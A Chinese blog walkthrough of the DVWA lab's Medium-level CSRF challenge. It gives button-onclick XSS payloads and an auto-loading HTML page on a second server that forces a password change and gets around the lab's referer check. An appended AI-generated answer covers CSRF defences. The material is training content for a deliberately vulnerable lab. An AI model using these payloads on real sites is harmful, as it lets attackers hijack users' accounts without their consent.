DVWA—CSRF-Medium跨站请求伪造中级

该文章详细介绍了如何在面临XSS(Stored)和过滤问题时,利用button标签和JavaScript来构造跨站请求伪造(CSRF)攻击,绕过长度限制和referer检查,从而实现修改密码的目标。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

注意:

1、这里对XSS(Stored)关卡不熟悉的可以从这里去看http://t.csdn.cn/ggQDK

2、把难度设置成  Medium

 一、这一关同样我们需要埋下伏笔,诱使用户点击来提交,首先从XSS(Stored)入手。

       注意:在前面介绍过如何进行XSS注入,这里就不再讲解。http://t.csdn.cn/gs8xX

二、在上low难度中,我们直接使用<a>标签来包裹修改密码的请求。但这一关<a>标签被过滤了。

所以,我们使用的是button标签来提交修改密码的链接。

<button Onclick="alert(11)">点我</button>

简单查看效果,可以触发

三、接下来是不是就简单了,在这里使用 location.href=“”  来提交类似第一关修改密码的GET请求不就ok?

构造payload:(注意这里的ip是web服务器的ip后面不要混淆)

<button Onclick=location.href="http://192.168.114.165/vulnerabilities/csrf/?password_new=9999&password_conf=9999&Change=Change">拿下</button>

解析:就是当用户点击这个按钮的时候,会自动提交一个修改密码的get请求,来修改当前用户的密码。 No matter who you are!

 注入,并查看结果:(经过验证确实在字符串的长度被限制了!)

        

四、所以果真没那么简单,话不多说直接看答案。

提示:

源码:

 用人话是这样说:

        1、第一关把整个GET请求藏进去没办法——长度限制

        2、需要多个连接来实现——不然怎么叫跨站呢?思路讲就是点击按钮让页面跳转到我在其他服务器(114.199)准备好的一个页面,用这个页面来向114.165服务器来提交GET请求。

        3、但是!从源码可以看到,这里有一个referer,比如我们用114.199服务器提交GET请求的时候,referer的ip会是114.199。所以也不会提交成功。

        4、所以我们要绕过referer。

五、首先在114.199服务器上面创建一个chage_192.168.114.165.html      的文件,用来绕过referer。这里的IP是靶场的IP。内容如下:

<script>
    // 向web服务器提交请求 
    function onlo(){
        location.href="http://192.168.114.165/vulnerabilities/csrf/?password_new=12581&password_conf=12581&Change=Change";
    }
</Script>
<body onload="onlo()">

解析:这个就相当于跨站脚本通过,当用户跳转到这个页面,这个页面马上就向Web靶场服务器一个修改密码的请求。来完成密码修改。

六、接下来构造payload

<button Onclick=location.href="http://192.168.114.199/change_192.168.114.165.html">拿下</button>

#注意修改IP地址。href=服务器上部署的那个脚本连接。

埋下伏笔!

 单击拿下,抓包查看。

 

 

拿下!

 

<think>好的,我现在需要回答用户关于DVWACSRF漏洞的示例和防护方法的问题。首先,我得回忆一下DVWA是什么,以及CSRF漏洞的基本概念。DVWA(Damn Vulnerable Web Application)是一个用于安全训练的应用,包含多种漏洞,方便学习渗透测试和防护方法。CSRF(Cross-Site Request Forgery)跨站请求伪造,攻击者诱使用户在已认证的情况下执行非预期的操作。 接下来,用户需要具体的漏洞示例和防护方法。我应该先解释DVWA中的CSRF漏洞实例,可能是在哪个安全级别下,比如Low级别可能存在未防护的CSRF,比如修改密码的功能没有验证请求来源或使用Token。然后,防护方法通常包括使用CSRF Token、验证Referer头、SameSite Cookie属性等。 需要确保回答结构清晰,分点说明。同时,用户提到参考了《磐石计划:Web安全漏洞与渗透测试》的笔记,所以可能需要引用相关内容,比如在防护方法中提到相关的最佳实践。此外,生成相关问题时要与CSRFDVWA相关,可能涉及漏洞原理、不同安全级别的防护措施对比,以及如何利用漏洞进行渗透测试的步骤。 还要注意使用中文,数学公式用$...$,独立公式用$$...$$,但这里可能不太需要数学公式,但如果有涉及参数或算法,可能需要使用。例如,在解释Token生成时,如果有随机数生成,可以用公式表示,如生成Token的算法:$token = hash(session\_id + secret\_key)$,不过这可能不需要,视情况而定。 需要检查是否所有行内代码和术语正确,比如CSRF的正确拼写,DVWA的各个级别设置,比如Low、Medium、High的安全配置差异。例如,在Low级别下,DVWACSRF可能没有任何防护,而Medium可能检查Referer,High级别使用Token验证。 最后,生成的相关问题应围绕CSRF的扩展,比如其他防护措施、不同安全级别的实现差异、实际案例等。确保问题对用户有帮助,引导深入学习。 现在整理回答结构:先介绍CSRF漏洞在DVWA中的示例,分不同安全级别说明;然后详细说明防护方法,每个方法如何实施;最后生成相关问题。同时引用提供的参考内容,比如在防护措施中提到遵守国家规定,引用[^1]。</think>### DVWA中的CSRF漏洞示例及防护方法 #### 1. CSRF漏洞示例(以DVWA的Low级别为例) 在DVWA的“CSRF”模块中,Low安全级别的密码修改功能未采取任何防护措施。攻击者可构造恶意链接,诱使用户点击后自动提交密码修改请求。例如,以下URL可直接修改用户密码(假设用户已登录): ``` http://localhost/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change# ``` 由于请求未验证来源或使用Token,用户点击后密码会被修改为`123`[^1]。 #### 2. 防护方法 - **CSRF Token验证** 服务端生成随机Token并嵌入表单,提交时验证Token有效性。例如: ```html <input type="hidden" name="token" value="<?php echo generate_token(); ?>"> ``` Token生成逻辑可设计为:$$ \text{Token} = \text{Hash}(\text{SessionID} + \text{SecretKey}) $$ - **验证Referer头** 检查请求头中的`Referer`是否来自合法域名,但需注意某些浏览器可能禁用Referer。 - **SameSite Cookie属性** 设置Cookie的`SameSite=Strict`或`Lax`,限制跨站请求携带Cookie: ```php setcookie("session_id", $value, ["samesite" => "Strict"]); ``` - **二次验证** 敏感操作(如密码修改)需用户二次输入原密码或验证码。 #### 3. DVWA不同安全级别的防护差异 - **Medium级别**:检查`Referer`是否包含主机名,但仍可被绕过。 - **High级别**:强制使用CSRF Token,且Token与会话绑定,无法伪造---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值